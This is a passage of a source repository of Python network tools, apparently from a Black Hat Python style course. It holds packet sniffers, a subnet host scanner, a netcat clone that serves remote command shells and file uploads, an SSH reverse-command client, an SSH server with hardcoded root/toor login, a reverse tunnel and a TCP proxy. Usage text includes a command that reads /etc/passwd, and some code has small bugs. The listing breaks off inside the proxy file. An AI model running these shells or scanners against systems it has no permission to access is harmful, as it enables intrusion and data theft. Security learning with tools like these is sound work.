├── Network Sniffers ├── scanner.py ├── simple-sniffer.py ├── sniffer-ip-header-decode.py └── sniffer-with-icmp.py ├── Networking Tools ├── netcat.py ├── ssh-cmd.py ├── ssh-server.py ├── ssh-tunneling.py ├── ssh-windows-cmd.py ├── tcp-client.py ├── tcp-proxy.py ├── tcp-server.py └── udp-client.py ├── README.md └── README.old.md /Network Sniffers/scanner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import struct 4 | import threading 5 | from ipaddress import ip_address, ip_network 6 | from ctypes import * 7 | 8 | # host to listen on 9 | host = "192.168.0.187" 10 | 11 | # subnet to target 12 | tgt_subnet = "192.168.0.0/24" 13 | 14 | # magic we'll check ICMP responses for 15 | tgt_message = "PYTHONRULES!" 16 | 17 | 18 | def udp_sender(sub_net, magic_message): 19 | sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 20 | 21 | for ip in ip_network(sub_net).hosts(): 22 | sender.sendto(magic_message.encode('utf-8'), (str(ip), 65212)) 23 | 24 | 25 | class IP(Structure): 26 | _fields_ = [ 27 | ("ihl", c_ubyte, 4), 28 | ("version", c_ubyte, 4), 29 | ("tos", c_ubyte), 30 | ("len", c_ushort), 31 | ("id", c_ushort), 32 | ("offset", c_ushort), 33 | ("ttl", c_ubyte), 34 | ("protocol_num", c_ubyte), 35 | ("sum", c_ushort), 36 | ("src", c_uint32), 37 | ("dst", c_uint32) 38 | ] 39 | 40 | def __new__(cls, socket_buffer=None): 41 | return cls.from_buffer_copy(socket_buffer) 42 | 43 | def __init__(self, socket_buffer=None): 44 | self.socket_buffer = socket_buffer 45 | 46 | # map protocol constants to their names 47 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 48 | 49 | # human readable IP addresses 50 | self.src_address = socket.inet_ntoa(struct.pack("@I", self.src)) 51 | self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst)) 52 | 53 | # human readable protocol 54 | try: 55 | self.protocol = self.protocol_map[self.protocol_num] 56 | except IndexError: 57 | self.protocol = str(self.protocol_num) 58 | 59 | 60 | class ICMP(Structure): 61 | _fields_ = [ 62 | ("type", c_ubyte), 63 | ("code", c_ubyte), 64 | ("checksum", c_ushort), 65 | ("unused", c_ushort), 66 | ("next_hop_mtu", c_ushort) 67 | ] 68 | 69 | def __new__(cls, socket_buffer): 70 | return cls.from_buffer_copy(socket_buffer) 71 | 72 | def __init__(self, socket_buffer): 73 | self.socket_buffer = socket_buffer 74 | 75 | 76 | # create a raw socket and bind it to the public interface 77 | if os.name == "nt": 78 | socket_protocol = socket.IPPROTO_IP 79 | else: 80 | socket_protocol = socket.IPPROTO_ICMP 81 | 82 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 83 | 84 | sniffer.bind((host, 0)) 85 | 86 | # we want the IP headers included in the capture 87 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 88 | 89 | # if we're on Windows we need to send some ioctl 90 | # to setup promiscuous mode 91 | if os.name == "nt": 92 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 93 | 94 | # start sending packets 95 | t = threading.Thread(target=udp_sender, args=(tgt_subnet, tgt_message)) 96 | t.start() 97 | 98 | try: 99 | while True: 100 | 101 | # read in a single packet 102 | raw_buffer = sniffer.recvfrom(65535)[0] 103 | 104 | # create an IP header from the first 20 bytes of the buffer 105 | ip_header = IP(raw_buffer[:20]) 106 | 107 | print("Protocol: %s %s -> %s" % ( 108 | ip_header.protocol, 109 | ip_header.src_address, 110 | ip_header.dst_address) 111 | ) 112 | 113 | # if it's ICMP we want it 114 | if ip_header.protocol == "ICMP": 115 | 116 | # calculate where our ICMP packet starts 117 | offset = ip_header.ihl * 4 118 | buf = raw_buffer[offset:offset + sizeof(ICMP)] 119 | 120 | # create our ICMP structure 121 | icmp_header = ICMP(buf) 122 | 123 | print("ICMP -> Type: %d Code: %d" % ( 124 | icmp_header.type, 125 | icmp_header.code) 126 | ) 127 | 128 | # now check for the TYPE 3 and CODE 3 which indicates 129 | # a host is up but no port available to talk to 130 | if icmp_header.code == 3 and icmp_header.type == 3: 131 | 132 | # check to make sure we are receiving the response 133 | # that lands in our subnet 134 | if ip_address(ip_header.src_address) in ip_network(tgt_subnet): 135 | 136 | # test for our magic message 137 | if raw_buffer[len(raw_buffer) 138 | - len(tgt_message):] == tgt_message: 139 | print("Host Up: %s" % ip_header.src_address) 140 | 141 | # handle CTRL-C 142 | except KeyboardInterrupt: 143 | # if we're on Windows turn off promiscuous mode 144 | if os.name == "nt": 145 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 146 | -------------------------------------------------------------------------------- /Network Sniffers/simple-sniffer.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | 4 | # host to listen on 5 | host = "192.168.0.196" 6 | 7 | # create a raw socket and bind it to the public interface 8 | if os.name == "nt": 9 | socket_protocol = socket.IPPROTO_IP 10 | else: 11 | socket_protocol = socket.IPPROTO_ICMP 12 | 13 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 14 | 15 | sniffer.bind((host, 0)) 16 | 17 | # we want the IP headers included in the capture 18 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 19 | 20 | # if we're on Windows we need to send an IOCTL 21 | # to setup promiscuous mode 22 | if os.name == "nt": 23 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 24 | 25 | # read in a single packet 26 | print(sniffer.recvfrom(65535)) 27 | 28 | # if we're on Windows turn off promiscuous mode 29 | if os.name == "nt": 30 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 31 | -------------------------------------------------------------------------------- /Network Sniffers/sniffer-ip-header-decode.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import struct 4 | from ctypes import * 5 | 6 | # host to listen on 7 | host = "192.168.0.187" 8 | 9 | 10 | class IP(Structure): 11 | _fields_ = [ 12 | ("ihl", c_ubyte, 4), 13 | ("version", c_ubyte, 4), 14 | ("tos", c_ubyte), 15 | ("len", c_ushort), 16 | ("id", c_ushort), 17 | ("offset", c_ushort), 18 | ("ttl", c_ubyte), 19 | ("protocol_num", c_ubyte), 20 | ("sum", c_ushort), 21 | ("src", c_uint32), 22 | ("dst", c_uint32) 23 | ] 24 | 25 | def __new__(cls, socket_buffer=None): 26 | return cls.from_buffer_copy(socket_buffer) 27 | 28 | def __init__(self, socket_buffer=None): 29 | self.socket_buffer = socket_buffer 30 | 31 | # map protocol constants to their names 32 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 33 | 34 | # human readable IP addresses 35 | self.src_address = socket.inet_ntoa(struct.pack("@I", self.src)) 36 | self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst)) 37 | 38 | # human readable protocol 39 | try: 40 | self.protocol = self.protocol_map[self.protocol_num] 41 | except IndexError: 42 | self.protocol = str(self.protocol_num) 43 | 44 | 45 | # create a raw socket and bind it to the public interface 46 | if os.name == "nt": 47 | socket_protocol = socket.IPPROTO_IP 48 | else: 49 | socket_protocol = socket.IPPROTO_ICMP 50 | 51 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 52 | 53 | sniffer.bind((host, 0)) 54 | 55 | # we want the IP headers included in the capture 56 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 57 | 58 | # if we're on Windows we need to send some ioctl 59 | # to setup promiscuous mode 60 | if os.name == "nt": 61 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 62 | 63 | try: 64 | while True: 65 | # read in a single packet 66 | raw_buffer = sniffer.recvfrom(65535)[0] 67 | 68 | # create an IP header from the first 20 bytes of the buffer 69 | ip_header = IP(raw_buffer[:20]) 70 | 71 | print("Protocol: %s %s -> %s" % ( 72 | ip_header.protocol, 73 | ip_header.src_address, 74 | ip_header.dst_address) 75 | ) 76 | 77 | except KeyboardInterrupt: 78 | # if we're on Windows turn off promiscuous mode 79 | if os.name == "nt": 80 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 81 | -------------------------------------------------------------------------------- /Network Sniffers/sniffer-with-icmp.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import struct 4 | 5 | from ctypes import * 6 | 7 | # host to listen on 8 | host = "192.168.0.187" 9 | 10 | 11 | class IP(Structure): 12 | 13 | _fields_ = [ 14 | ("ihl", c_ubyte, 4), 15 | ("version", c_ubyte, 4), 16 | ("tos", c_ubyte), 17 | ("len", c_ushort), 18 | ("id", c_ushort), 19 | ("offset", c_ushort), 20 | ("ttl", c_ubyte), 21 | ("protocol_num", c_ubyte), 22 | ("sum", c_ushort), 23 | ("src", c_uint32), 24 | ("dst", c_uint32) 25 | ] 26 | 27 | def __new__(cls, socket_buffer=None): 28 | return cls.from_buffer_copy(socket_buffer) 29 | 30 | def __init__(self, socket_buffer=None): 31 | self.socket_buffer = socket_buffer 32 | 33 | # map protocol constants to their names 34 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 35 | 36 | # human readable IP addresses 37 | self.src_address = socket.inet_ntoa(struct.pack("@I", self.src)) 38 | self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst)) 39 | 40 | # human readable protocol 41 | try: 42 | self.protocol = self.protocol_map[self.protocol_num] 43 | except IndexError: 44 | self.protocol = str(self.protocol_num) 45 | 46 | 47 | class ICMP(Structure): 48 | 49 | _fields_ = [ 50 | ("type", c_ubyte), 51 | ("code", c_ubyte), 52 | ("checksum", c_ushort), 53 | ("unused", c_ushort), 54 | ("next_hop_mtu", c_ushort) 55 | ] 56 | 57 | def __new__(cls, socket_buffer): 58 | return cls.from_buffer_copy(socket_buffer) 59 | 60 | def __init__(self, socket_buffer): 61 | self.socket_buffer = socket_buffer 62 | 63 | 64 | # create a raw socket and bind it to the public interface 65 | if os.name == "nt": 66 | socket_protocol = socket.IPPROTO_IP 67 | else: 68 | socket_protocol = socket.IPPROTO_ICMP 69 | 70 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 71 | 72 | sniffer.bind((host, 0)) 73 | 74 | # we want the IP headers included in the capture 75 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 76 | 77 | # if we're on Windows we need to send some ioctl 78 | # to setup promiscuous mode 79 | if os.name == "nt": 80 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 81 | 82 | 83 | try: 84 | while True: 85 | # read in a single packet 86 | raw_buffer = sniffer.recvfrom(65535)[0] 87 | 88 | # create an IP header from the first 20 bytes of the buffer 89 | ip_header = IP(raw_buffer[:20]) 90 | 91 | print("Protocol: %s %s -> %s" % ( 92 | ip_header.protocol, 93 | ip_header.src_address, 94 | ip_header.dst_address) 95 | ) 96 | 97 | # if it's ICMP we want it 98 | if ip_header.protocol == "ICMP": 99 | # calculate where our ICMP packet starts 100 | offset = ip_header.ihl * 4 101 | buf = raw_buffer[offset:offset + sizeof(ICMP)] 102 | 103 | # create our ICMP structure 104 | icmp_header = ICMP(buf) 105 | 106 | print("ICMP -> Type: %d Code: %d" % ( 107 | icmp_header.type, 108 | icmp_header.code) 109 | ) 110 | 111 | # handle CTRL-C 112 | except KeyboardInterrupt: 113 | # if we're on Windows turn off promiscuous mode 114 | if os.name == "nt": 115 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 116 | -------------------------------------------------------------------------------- /Networking Tools/netcat.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import socket 3 | import getopt 4 | import threading 5 | import subprocess 6 | 7 | # define some global variables 8 | listen = False 9 | command = False 10 | upload = False 11 | execute = "" 12 | target = "" 13 | upload_destination = "" 14 | port = 0 15 | 16 | # this runs a command and returns the output 17 | 18 | def run_command(cmd): 19 | # trim the newline 20 | cmd = cmd.rstrip() 21 | 22 | # run the command and get the output back 23 | try: 24 | output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True) 25 | 26 | except subprocess.CalledProcessError as e: 27 | output = e.output 28 | 29 | # send the output back to the client 30 | return output 31 | 32 | # this handles incoming client connections 33 | def client_handler(client_socket): 34 | global upload 35 | global execute 36 | global command 37 | 38 | # check for upload 39 | if len(upload_destination): 40 | # read in all of the bytes and write to our destination 41 | file_buffer = "" 42 | 43 | # keep reading data until none is available 44 | while True: 45 | data = client_socket.recv(1024) 46 | 47 | if not data: 48 | break 49 | else: 50 | file_buffer += data 51 | 52 | # now we take these bytes and try to write them out 53 | try: 54 | file_descriptor = open(upload_destination, "wb") 55 | file_descriptor.write(file_buffer.encode('utf-8')) 56 | file_descriptor.close() 57 | 58 | # acknowledge that we wrote the file out 59 | client_socket.send(f"Successfully saved file to {upload_destination}\r\n") 60 | 61 | except OSError: 62 | client_socket.send(f"Failed to save file to {upload_destination}\r\n") 63 | 64 | 65 | # check for command execution 66 | if len(execute): 67 | # run the command 68 | output = run_command(execute) 69 | client_socket.send(output) 70 | 71 | # now we go into another loop if a command shell was requested 72 | 73 | if command: 74 | while True: 75 | # show a simpmle prompt 76 | client_socket.send(" ".encode('utf-8')) 77 | 78 | # now we receive until we see a linefeed (enter key) 79 | cmd_buffer = b'' 80 | while b"\n" not in cmd_buffer: 81 | cmd_buffer += client_socket.recv(1024) 82 | 83 | # we have a valid command so execute it and send back the results 84 | response = run_command(cmd_buffer.decode()) 85 | 86 | # send back the response 87 | client_socket.send(response) 88 | 89 | 90 | # this is for incoming connections 91 | 92 | def server_loop(): 93 | global target 94 | global port 95 | 96 | # if no target is defined we listen on all interfaces 97 | if not len(target): 98 | target = "0.0.0.0" 99 | 100 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 101 | server.bind((target, port)) 102 | server.listen(5) 103 | 104 | while True: 105 | client_socket, addr = server.accept() 106 | 107 | # spin off a thread to handle our new client 108 | client_thread = threading.Thread(target=client_handler, args=(client_socket)) 109 | client_thread.start() 110 | 111 | # if we don't listen we are a client ... make it so 112 | 113 | def client_sender(buffer): 114 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 115 | 116 | try: 117 | # connect to our target host 118 | client.connect((target, port)) 119 | 120 | # if we detect input form stdin send it 121 | # if not we are going to wait for the user to punch some in 122 | if len(buffer): 123 | client.send(buffer.encode('utf-8')) 124 | 125 | while True: 126 | # now wait for data back 127 | recv_len = 1 128 | response = b'' 129 | 130 | while recv_len: 131 | data = client.recv(4096) 132 | recv_len = len(data) 133 | response += data 134 | 135 | if recv_len < 4096: 136 | break 137 | 138 | print(response.decode('utf-8'), end=' ') 139 | 140 | # wait for more input 141 | buffer = input("") 142 | buffer += "\n" 143 | 144 | # send it off 145 | client.send(buffer.encode('utf-8')) 146 | 147 | except socket.error as exc: 148 | # just catch generic errors - you can do your homework to beef this up 149 | print("[*] Exception! Exiting") 150 | print(f"[*] Caught exception socket.error: {exc}") 151 | 152 | # teardown the connection 153 | client.close() 154 | 155 | def usage(): 156 | print("Netcat Replacement") 157 | print() 158 | print("Usage: netcat.py -t target_host -p port") 159 | print( 160 | "-l --listen - listen on [host]:[port] for incoming connections" 161 | ) 162 | print( 163 | "-e --execute=file_to_run - execute the given file upon receiving a connection" 164 | ) 165 | print( 166 | "-c --command - initialize a command shell" 167 | ) 168 | print( 169 | "-u --upload=destination - upon receiving connection upload a file and write to [destination]" 170 | ) 171 | print() 172 | print() 173 | print("Examples: ") 174 | print("netcat.py -t 192.168.0.1 -p 5555 -l -c") 175 | print("netcat.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe") 176 | print("netcat.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"") 177 | print("echo 'ABCDEFGHI' | ./netcat.py -t 192.168.11.12 -p 135") 178 | sys.exit(0) 179 | 180 | def main(): 181 | global listen 182 | global port 183 | global execute 184 | global command 185 | global upload_destination 186 | global target 187 | 188 | if not len(sys.argv[1:]): 189 | usage() 190 | 191 | # read the commandline options 192 | try: 193 | opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", 194 | ["help", "listen", "execute", "target", 195 | "port", "command", "upload"]) 196 | 197 | for o, a in opts: 198 | if o in ("-h", "--help"): 199 | usage() 200 | elif o in ("-l", "--listen"): 201 | listen = True 202 | elif o in ("-e", "--execute"): 203 | execute = a 204 | elif o in ("-c", "--commandshell"): 205 | command = True 206 | elif o in ("-t", "--target"): 207 | target = a 208 | elif o in ("-u", "--upload"): 209 | upload_destination = a 210 | elif o in ("-p", "--port"): 211 | port = int(a) 212 | else: 213 | asset False, "Unhandled Option" 214 | 215 | except getopt.GetoptError as err: 216 | print(str(err)) 217 | usage() 218 | 219 | 220 | # are we going to listen or just send data from STDIN? 221 | if not listen and len(target) and port > 0: 222 | # read in the buffer from the commandline 223 | # this will block, so send CTRL-D if not sending input 224 | # to stdin 225 | buffer = sys.stdin.read() 226 | 227 | # send data off 228 | client_sender(buffer) 229 | 230 | # we are going to listen and potentially 231 | # upload thigns, execute commands and drop a shell back 232 | # depending on our command line options above 233 | 234 | if listen: 235 | server_loop() 236 | 237 | main() 238 | -------------------------------------------------------------------------------- /Networking Tools/ssh-cmd.py: -------------------------------------------------------------------------------- 1 | import paramiko 2 | 3 | def ssh_command(ip, port, user, passwd, cmd): 4 | client = paramiko.SSHClient() 5 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 6 | client.connect(ip, port=port, username=user, password=passwd) 7 | 8 | _, stdout, stderr = client.exec_command(cmd) 9 | output = stdout.readlines() + stderr.readlines() 10 | if output: 11 | print(' --- Output ---') 12 | for line in output: 13 | print(line.strip()) 14 | 15 | if __name__ == '__main__': 16 | import getpass 17 | # user = getpass.getuser() 18 | user = input("Username: ") 19 | password = getpass.getpass() 20 | 21 | ip = input('Enter server IP: ') or '192.168.1.203' 22 | port = input('Enter port or : ') or 2222 23 | cmd = input('Enter command or : ') or 'id' 24 | ssh_command(ip, port, user, password, cmd) 25 | -------------------------------------------------------------------------------- /Networking Tools/ssh-server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import paramiko 3 | import threading 4 | import sys 5 | 6 | # using the server host key from the paramiko demo files 7 | host_key = paramiko.RSAKey(filename='test_rsa.key') 8 | 9 | 10 | class Server(paramiko.ServerInterface): 11 | def __init__(self): 12 | self.event = threading.Event() 13 | 14 | def check_channel_request(self, kind, chanid): 15 | if kind == 'session': 16 | return paramiko.OPEN_SUCCEEDED 17 | return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED 18 | 19 | def check_auth_password(self, username, password): 20 | if username == 'root' and password == 'toor': 21 | return paramiko.AUTH_SUCCESSFUL 22 | return paramiko.AUTH_FAILED 23 | 24 | 25 | server = sys.argv[1] 26 | ssh_port = int(sys.argv[2]) 27 | 28 | try: 29 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 30 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 31 | sock.bind((server, ssh_port)) 32 | sock.listen(100) 33 | print("[+] Listening for connection...") 34 | client, addr = sock.accept() 35 | except Exception as e: 36 | print("[-] Listen failed: " + str(e)) 37 | sys.exit(1) 38 | 39 | print("[+] Got a connection!") 40 | 41 | try: 42 | # noinspection PyTypeChecker 43 | bhSession = paramiko.Transport(client) 44 | bhSession.add_server_key(host_key) 45 | server = Server() 46 | try: 47 | bhSession.start_server(server=server) 48 | except paramiko.SSHException: 49 | print("[-] SSH negotiation failed.") 50 | chan = bhSession.accept(20) 51 | print("[+] Authenticated!") 52 | print(chan.recv(1024)) 53 | chan.send("Welcome to bh_ssh!") 54 | while True: 55 | try: 56 | command = input("Enter command: ").strip("\n") 57 | if command != "exit": 58 | chan.send(command) 59 | print(chan.recv(1024).decode(errors="ignore") + "\n") 60 | else: 61 | chan.send("exit") 62 | print("Exiting...") 63 | bhSession.close() 64 | raise Exception("exit") 65 | except KeyboardInterrupt: 66 | bhSession.close() 67 | except Exception as e: 68 | print("[-] Caught exception: " + str(e)) 69 | bhSession.close() 70 | finally: 71 | sys.exit(1) 72 | -------------------------------------------------------------------------------- /Networking Tools/ssh-tunneling.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Copyright (C) 2008 Robey Pointer 4 | # 5 | # This file is part of paramiko. 6 | # 7 | # Paramiko is free software; you can redistribute it and/or modify it under the 8 | # terms of the GNU Lesser General Public License as published by the Free 9 | # Software Foundation; either version 2.1 of the License, or (at your option) 10 | # any later version. 11 | # 12 | # Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY 13 | # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR 14 | # A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more 15 | # details. 16 | # 17 | # You should have received a copy of the GNU Lesser General Public License 18 | # along with Paramiko; if not, write to the Free Software Foundation, Inc., 19 | # 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. 20 | 21 | """ 22 | Sample script showing how to do remote port forwarding over paramiko. 23 | 24 | This script connects to the requested SSH server and sets up remote port 25 | forwarding (the openssh -R option) from a remote port through a tunneled 26 | connection to a destination reachable from the local machine. 27 | """ 28 | 29 | import getpass 30 | import socket 31 | import select 32 | import sys 33 | import threading 34 | from optparse import OptionParser 35 | 36 | import paramiko 37 | 38 | SSH_PORT = 22 39 | DEFAULT_PORT = 4000 40 | 41 | g_verbose = True 42 | 43 | 44 | def handler(chan, host, port): 45 | sock = socket.socket() 46 | try: 47 | sock.connect((host, port)) 48 | except Exception as e: 49 | verbose("Forwarding request to %s:%d failed: %r" % (host, port, e)) 50 | return 51 | 52 | verbose( 53 | "Connected! Tunnel open %r -> %r -> %r" 54 | % (chan.origin_addr, chan.getpeername(), (host, port)) 55 | ) 56 | while True: 57 | r, w, x = select.select([sock, chan], [], []) 58 | if sock in r: 59 | data = sock.recv(1024) 60 | if len(data) == 0: 61 | break 62 | chan.send(data) 63 | if chan in r: 64 | data = chan.recv(1024) 65 | if len(data) == 0: 66 | break 67 | sock.send(data) 68 | chan.close() 69 | sock.close() 70 | verbose("Tunnel closed from %r" % (chan.origin_addr,)) 71 | 72 | 73 | def reverse_forward_tunnel(server_port, remote_host, remote_port, transport): 74 | transport.request_port_forward("", server_port) 75 | while True: 76 | chan = transport.accept(1000) 77 | if chan is None: 78 | continue 79 | thr = threading.Thread( 80 | target=handler, args=(chan, remote_host, remote_port) 81 | ) 82 | thr.setDaemon(True) 83 | thr.start() 84 | 85 | 86 | def verbose(s): 87 | if g_verbose: 88 | print(s) 89 | 90 | 91 | HELP = """\ 92 | Set up a reverse forwarding tunnel across an SSH server, using paramiko. A 93 | port on the SSH server (given with -p) is forwarded across an SSH session 94 | back to the local machine, and out to a remote site reachable from this 95 | network. This is similar to the openssh -R option. 96 | """ 97 | 98 | 99 | def get_host_port(spec, default_port): 100 | """parse 'hostname:22' into a host and port, with the port optional""" 101 | args = (spec.split(":", 1) + [default_port])[:2] 102 | args[1] = int(args[1]) 103 | return args[0], args[1] 104 | 105 | 106 | def parse_options(): 107 | global g_verbose 108 | 109 | parser = OptionParser( 110 | usage="usage: %prog [options] [:]", 111 | version="%prog 1.0", 112 | description=HELP, 113 | ) 114 | parser.add_option( 115 | "-q", 116 | "--quiet", 117 | action="store_false", 118 | dest="verbose", 119 | default=True, 120 | help="squelch all informational output", 121 | ) 122 | parser.add_option( 123 | "-p", 124 | "--remote-port", 125 | action="store", 126 | type="int", 127 | dest="port", 128 | default=DEFAULT_PORT, 129 | help="port on server to forward (default: %d)" % DEFAULT_PORT, 130 | ) 131 | parser.add_option( 132 | "-u", 133 | "--user", 134 | action="store", 135 | type="string", 136 | dest="user", 137 | default=getpass.getuser(), 138 | help="username for SSH authentication (default: %s)" 139 | % getpass.getuser(), 140 | ) 141 | parser.add_option( 142 | "-K", 143 | "--key", 144 | action="store", 145 | type="string", 146 | dest="keyfile", 147 | default=None, 148 | help="private key file to use for SSH authentication", 149 | ) 150 | parser.add_option( 151 | "", 152 | "--no-key", 153 | action="store_false", 154 | dest="look_for_keys", 155 | default=True, 156 | help="don't look for or use a private key file", 157 | ) 158 | parser.add_option( 159 | "-P", 160 | "--password", 161 | action="store_true", 162 | dest="readpass", 163 | default=False, 164 | help="read password (for key or password auth) from stdin", 165 | ) 166 | parser.add_option( 167 | "-r", 168 | "--remote", 169 | action="store", 170 | type="string", 171 | dest="remote", 172 | default=None, 173 | metavar="host:port", 174 | help="remote host and port to forward to", 175 | ) 176 | options, args = parser.parse_args() 177 | 178 | if len(args) != 1: 179 | parser.error("Incorrect number of arguments.") 180 | if options.remote is None: 181 | parser.error("Remote address required (-r).") 182 | 183 | g_verbose = options.verbose 184 | server_host, server_port = get_host_port(args[0], SSH_PORT) 185 | remote_host, remote_port = get_host_port(options.remote, SSH_PORT) 186 | return options, (server_host, server_port), (remote_host, remote_port) 187 | 188 | 189 | def main(): 190 | options, server, remote = parse_options() 191 | 192 | password = None 193 | if options.readpass: 194 | password = getpass.getpass("Enter SSH password: ") 195 | 196 | client = paramiko.SSHClient() 197 | client.load_system_host_keys() 198 | client.set_missing_host_key_policy(paramiko.WarningPolicy()) 199 | 200 | verbose("Connecting to ssh host %s:%d ..." % (server[0], server[1])) 201 | try: 202 | client.connect( 203 | server[0], 204 | server[1], 205 | username=options.user, 206 | key_filename=options.keyfile, 207 | look_for_keys=options.look_for_keys, 208 | password=password, 209 | ) 210 | except Exception as e: 211 | print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e)) 212 | sys.exit(1) 213 | 214 | verbose( 215 | "Now forwarding remote port %d to %s:%d ..." 216 | % (options.port, remote[0], remote[1]) 217 | ) 218 | 219 | try: 220 | reverse_forward_tunnel( 221 | options.port, remote[0], remote[1], client.get_transport() 222 | ) 223 | except KeyboardInterrupt: 224 | print("C-c: Port forwarding stopped.") 225 | sys.exit(0) 226 | 227 | 228 | if __name__ == "__main__": 229 | main() 230 | -------------------------------------------------------------------------------- /Networking Tools/ssh-windows-cmd.py: -------------------------------------------------------------------------------- 1 | import paramiko 2 | import shlex 3 | import subprocess 4 | 5 | def ssh_command(ip, port, user, passwd, command): 6 | client = paramiko.SSHClient() 7 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 8 | client.connect(ip, port=port, username=user, password=passwd) 9 | 10 | ssh_session = client.get_transport().open_session() 11 | if ssh_session.active: 12 | ssh_session.send(command) 13 | print(ssh_session.recv(1024).decode()) 14 | while True: 15 | command = ssh_session.recv(1024) 16 | try: 17 | cmd = command.decode() 18 | if cmd == 'exit': 19 | client.close() 20 | break 21 | cmd_output = subprocess.check_output(shlex.split(cmd), shell=True) 22 | ssh_session.send(cmd_output or 'okay') 23 | except Exception as e: 24 | ssh_session.send(str(e)) 25 | client.close() 26 | return 27 | 28 | if __name__ == '__main__': 29 | import getpass 30 | user = getpass.getuser() 31 | password = getpass.getpass() 32 | 33 | ip = input('Enter server IP: ') 34 | port = input('Enter port: ') 35 | ssh_command(ip, port, user, password, 'ClientConnected') 36 | -------------------------------------------------------------------------------- /Networking Tools/tcp-client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | target_host = "www.google.com" 4 | target_port = 80 5 | 6 | 7 | # create a socket object 8 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 9 | 10 | # connect the client 11 | client.connect((target_host, target_port)) 12 | 13 | # send some data 14 | 15 | client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n") 16 | 17 | # receive data 18 | 19 | response = client.recv(4096) 20 | 21 | client.close() 22 | print(response) 23 | -------------------------------------------------------------------------------- /Networking Tools/tcp-proxy.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import socket 3 | import threading 4 | 5 | 6 | # this is a pretty hex dumping function directly taken from 7 | # http://code.activestate.com/recipes/142812-hex-dumper/ 8 | 9 | def hexdump(src, length=16): 10 | result = [] 11 | digits = 4 if isinstance(src, str) else 2 12 | 13 | for i in range(0, len(src), length): 14 | s = src[i:i + length] 15 | hexa = b' '.join([b"%0*X" % (digits, ord(x)) for x in s]) 16 | text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s]) 17 | result.append( 18 | b"%04X %-*s %s" % (i, length * (digits + 1), hexa, text)) 19 | 20 | print(b'\n'.join(result)) 21 | 22 | 23 | def receive_from(connection): 24 | buffer = b'' 25 | 26 | # We set a 2 second time-out. Depending on your target this may need 27 | # to be adjusted 28 | connection.settimeout(2) 29 | 30 | try: 31 | 32 | # keep reading into the buffer until there's no more data or we 33 | # time-out 34 | while True: 35 | data = connection.recv(4096) 36 | if not data: 37 | break 38 | buffer += data 39 | 40 | except TimeoutError: 41 | pass 42 | 43 | return buffer 44 | 45 | 46 | # modify any requests destined for the remote host 47 | def request_handler(buffer): 48 | # perform packet modifications 49 | return buffer 50 | 51 | 52 | # modify any responses destined for the local host 53 | def response_handler(buffer): 54 | # perform packet modifications 55 | return buffer 56 | 57 | 58 | def proxy_handler(client_socket, remote_host, remote_port, receive_first): 59 | # connect to the remote host 60 | remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 61 | remote_socket.connect((remote_host, remote_port)) 62 | 63 | # receive data from the remote end if necessary 64 | if receive_first: 65 | remote_buffer = receive_from(remote_socket) 66 | hexdump(remote_buffer) 67 | 68 | # send it to our response handler 69 | remote_buffer = response_handler(remote_buffer) 70 | 71 | # if we have data to send to our local client send it 72 | if len(remote_buffer): 73 | print("[<==] Sending %d bytes to localhost." % len(remote_buffer)) 74 | client_socket.send(remote_buffer) 75 | 76 | # now let's loop and read from local, send to remote, send to local 77 | # rinse wash repeat 78 | while True: 79 | # read from local host 80 | local_buffer = receive_from(client_socket) 81 | 82 